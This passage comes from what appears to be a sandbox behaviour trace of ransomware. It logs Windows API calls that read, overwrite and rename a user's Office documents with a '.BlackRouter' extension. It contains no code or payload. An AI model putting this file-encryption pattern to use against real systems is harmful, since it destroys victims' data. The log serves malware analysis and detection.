lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q7Lgs1z_owxp9H.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q7lgs1z_owxp9h.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa004c0, ftCreationTime.dwHighDateTime=0x1d4410a, ftLastAccessTime.dwLowDateTime=0x5424520, ftLastAccessTime.dwHighDateTime=0x1d45afa, ftLastWriteTime.dwLowDateTime=0xbf730d30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4c70)) returned 1 [0041.830] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q7Lgs1z_owxp9H.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q7lgs1z_owxp9h.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Q7Lgs1z_owxp9H.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\q7lgs1z_owxp9h.pptx.blackrouter")) returned 1 [0041.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-8e8VzMCSllsc4I.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-8e8vzmcsllsc4i.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.831] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x48f3 [0041.831] ReadFile (in: hFile=0x258, lpBuffer=0x29fd8d0, nNumberOfBytesToRead=0x48f3, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29fd8d0*, lpNumberOfBytesRead=0x1ae708*=0x48f3, lpOverlapped=0x0) returned 1 [0041.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-8e8VzMCSllsc4I.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-8e8vzmcsllsc4i.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-8e8VzMCSllsc4I.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-8e8vzmcsllsc4i.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dccd20, ftCreationTime.dwHighDateTime=0x1d42a8b, ftLastAccessTime.dwLowDateTime=0x89604d90, ftLastAccessTime.dwHighDateTime=0x1d478e9, ftLastWriteTime.dwLowDateTime=0xbf730d30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4900)) returned 1 [0041.838] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-8e8VzMCSllsc4I.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-8e8vzmcsllsc4i.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-8e8VzMCSllsc4I.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-8e8vzmcsllsc4i.pptx.blackrouter")) returned 1 [0041.839] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.839] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.839] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.839] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.839] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0041.839] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3E xSqN-IRWH61UfHaIi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3e xsqn-irwh61ufhaii.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.839] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x103c [0041.839] ReadFile (in: hFile=0x258, lpBuffer=0x2a0dbd0, nNumberOfBytesToRead=0x103c, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a0dbd0*, lpNumberOfBytesRead=0x1ae708*=0x103c, lpOverlapped=0x0) returned 1 [0041.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3E xSqN-IRWH61UfHaIi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3e xsqn-irwh61ufhaii.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3E xSqN-IRWH61UfHaIi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3e xsqn-irwh61ufhaii.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32965aa0, ftCreationTime.dwHighDateTime=0x1d4762c, ftLastAccessTime.dwLowDateTime=0xe8d96fa0, ftLastAccessTime.dwHighDateTime=0x1d45fcf, ftLastWriteTime.dwLowDateTime=0xbf730d30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1040)) returned 1 [0041.843] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3E xSqN-IRWH61UfHaIi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3e xsqn-irwh61ufhaii.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3E xSqN-IRWH61UfHaIi.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3e xsqn-irwh61ufhaii.xlsx.blackrouter")) returned 1 [0041.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OYSQBPclZUW7U.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oysqbpclzuw7u.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.844] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x134cc [0041.844] ReadFile (in: hFile=0x258, lpBuffer=0x2a10880, nNumberOfBytesToRead=0x134cc, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a10880*, lpNumberOfBytesRead=0x1ae708*=0x134cc, lpOverlapped=0x0) returned 1 [0041.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OYSQBPclZUW7U.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oysqbpclzuw7u.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.851] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OYSQBPclZUW7U.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oysqbpclzuw7u.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16c64990, ftCreationTime.dwHighDateTime=0x1d49989, ftLastAccessTime.dwLowDateTime=0x8dbc8750, ftLastAccessTime.dwHighDateTime=0x1d49fef, ftLastWriteTime.dwLowDateTime=0xbf756e90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x134d0)) returned 1 [0041.851] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OYSQBPclZUW7U.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oysqbpclzuw7u.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OYSQBPclZUW7U.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oysqbpclzuw7u.xlsx.blackrouter")) returned 1 [0041.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SlxBqYu.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\slxbqyu.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.852] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x851e [0041.852] ReadFile (in: hFile=0x258, lpBuffer=0x2a37df0, nNumberOfBytesToRead=0x851e, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a37df0*, lpNumberOfBytesRead=0x1ae708*=0x851e, lpOverlapped=0x0) returned 1 [0041.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SlxBqYu.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\slxbqyu.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.856] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SlxBqYu.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\slxbqyu.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5699c230, ftCreationTime.dwHighDateTime=0x1d4410b, ftLastAccessTime.dwLowDateTime=0xa3939e90, ftLastAccessTime.dwHighDateTime=0x1d49777, ftLastWriteTime.dwLowDateTime=0xbf756e90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8520)) returned 1 [0041.856] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SlxBqYu.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\slxbqyu.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SlxBqYu.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\slxbqyu.xlsx.blackrouter")) returned 1 [0041.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vMJGXm9HunV zSg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vmjgxm9hunv zsg.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.857] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x18b13 [0041.858] ReadFile (in: hFile=0x258, lpBuffer=0x12974268, nNumberOfBytesToRead=0x18b13, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x12974268*, lpNumberOfBytesRead=0x1ae708*=0x18b13, lpOverlapped=0x0) returned 1 [0041.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vMJGXm9HunV zSg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vmjgxm9hunv zsg.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vMJGXm9HunV zSg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vmjgxm9hunv zsg.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24038c0, ftCreationTime.dwHighDateTime=0x1d4608a, ftLastAccessTime.dwLowDateTime=0x22428260, ftLastAccessTime.dwHighDateTime=0x1d469dd, ftLastWriteTime.dwLowDateTime=0xbf77cff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18b20)) returned 1 [0041.867] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vMJGXm9HunV zSg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vmjgxm9hunv zsg.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vMJGXm9HunV zSg.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vmjgxm9hunv zsg.xlsx.blackrouter")) returned 1 [0041.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_HP9NhGb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_hp9nhgb.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.868] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xe31a [0041.868] ReadFile (in: hFile=0x258, lpBuffer=0x2a49fc8, nNumberOfBytesToRead=0xe31a, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a49fc8*, lpNumberOfBytesRead=0x1ae708*=0xe31a, lpOverlapped=0x0) returned 1 [0041.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_HP9NhGb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_hp9nhgb.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_HP9NhGb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_hp9nhgb.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a0c09f0, ftCreationTime.dwHighDateTime=0x1d4a283, ftLastAccessTime.dwLowDateTime=0xf7ec4400, ftLastAccessTime.dwHighDateTime=0x1d43355, ftLastWriteTime.dwLowDateTime=0xbf77cff0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe320)) returned 1 [0041.874] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_HP9NhGb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_hp9nhgb.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_HP9NhGb.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_hp9nhgb.xlsx.blackrouter")) returned 1 [0041.875] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.875] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.876] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.876] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0041.876] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0041.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2Fs9ZSZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e2fs9zsz.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.876] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x8ead [0041.876] ReadFile (in: hFile=0x258, lpBuffer=0x2a6a548, nNumberOfBytesToRead=0x8ead, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a6a548*, lpNumberOfBytesRead=0x1ae708*=0x8ead, lpOverlapped=0x0) returned 1 [0041.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2Fs9ZSZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e2fs9zsz.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2Fs9ZSZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e2fs9zsz.docx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1773580, ftCreationTime.dwHighDateTime=0x1d42098, ftLastAccessTime.dwLowDateTime=0xbb4321c0, ftLastAccessTime.dwHighDateTime=0x1d469d0, ftLastWriteTime.dwLowDateTime=0xbf7a3150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8eb0)) returned 1 [0041.880] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2Fs9ZSZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e2fs9zsz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\e2Fs9ZSZ.docx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\e2fs9zsz.docx.blackrouter")) returned 1 [0041.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hU7X8vaEMkz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hu7x8vaemkz.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.881] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x16952 [0041.881] ReadFile (in: hFile=0x258, lpBuffer=0x129a5910, nNumberOfBytesToRead=0x16952, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x129a5910*, lpNumberOfBytesRead=0x1ae708*=0x16952, lpOverlapped=0x0) returned 1 [0041.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hU7X8vaEMkz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hu7x8vaemkz.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hU7X8vaEMkz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hu7x8vaemkz.docx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9f11a0, ftCreationTime.dwHighDateTime=0x1d44cb7, ftLastAccessTime.dwLowDateTime=0x871a84f0, ftLastAccessTime.dwHighDateTime=0x1d437fe, ftLastWriteTime.dwLowDateTime=0xbf7a3150, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16960)) returned 1 [0041.890] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hU7X8vaEMkz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hu7x8vaemkz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hU7X8vaEMkz.docx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hu7x8vaemkz.docx.blackrouter")) returned 1 [0041.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rWPrndBwC_sHX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwprndbwc_shx.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.890] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x21f7 [0041.890] ReadFile (in: hFile=0x258, lpBuffer=0x2a7da18, nNumberOfBytesToRead=0x21f7, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a7da18*, lpNumberOfBytesRead=0x1ae708*=0x21f7, lpOverlapped=0x0) returned 1 [0041.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rWPrndBwC_sHX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwprndbwc_shx.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rWPrndBwC_sHX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwprndbwc_shx.docx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e9b4c70, ftCreationTime.dwHighDateTime=0x1d4977b, ftLastAccessTime.dwLowDateTime=0x203163c0, ftLastAccessTime.dwHighDateTime=0x1d478d2, ftLastWriteTime.dwLowDateTime=0xbf7c92b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1 [0041.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rWPrndBwC_sHX.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwprndbwc_shx.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rWPrndBwC_sHX.docx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwprndbwc_shx.docx.blackrouter")) returned 1 [0041.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wf3JJ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wf3jj.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.895] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x151ac [0041.895] ReadFile (in: hFile=0x258, lpBuffer=0x129d2c38, nNumberOfBytesToRead=0x151ac, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x129d2c38*, lpNumberOfBytesRead=0x1ae708*=0x151ac, lpOverlapped=0x0) returned 1 [0041.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wf3JJ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wf3jj.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wf3JJ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wf3jj.docx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc67860, ftCreationTime.dwHighDateTime=0x1d452ea, ftLastAccessTime.dwLowDateTime=0x81b5cd70, ftLastAccessTime.dwHighDateTime=0x1d42594, ftLastWriteTime.dwLowDateTime=0xbf7c92b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x151b0)) returned 1 [0041.903] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wf3JJ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wf3jj.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wf3JJ.docx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wf3jj.docx.blackrouter")) returned 1 [0041.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_YsvsJDsD7RFSVU0u6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_ysvsjdsd7rfsvu0u6.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.904] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xbef0 [0041.904] ReadFile (in: hFile=0x258, lpBuffer=0x2a83548, nNumberOfBytesToRead=0xbef0, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2a83548*, lpNumberOfBytesRead=0x1ae708*=0xbef0, lpOverlapped=0x0) returned 1 [0041.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_YsvsJDsD7RFSVU0u6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_ysvsjdsd7rfsvu0u6.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_YsvsJDsD7RFSVU0u6.docx" (normalized: "c:\\users\\5p5nrgjn0js 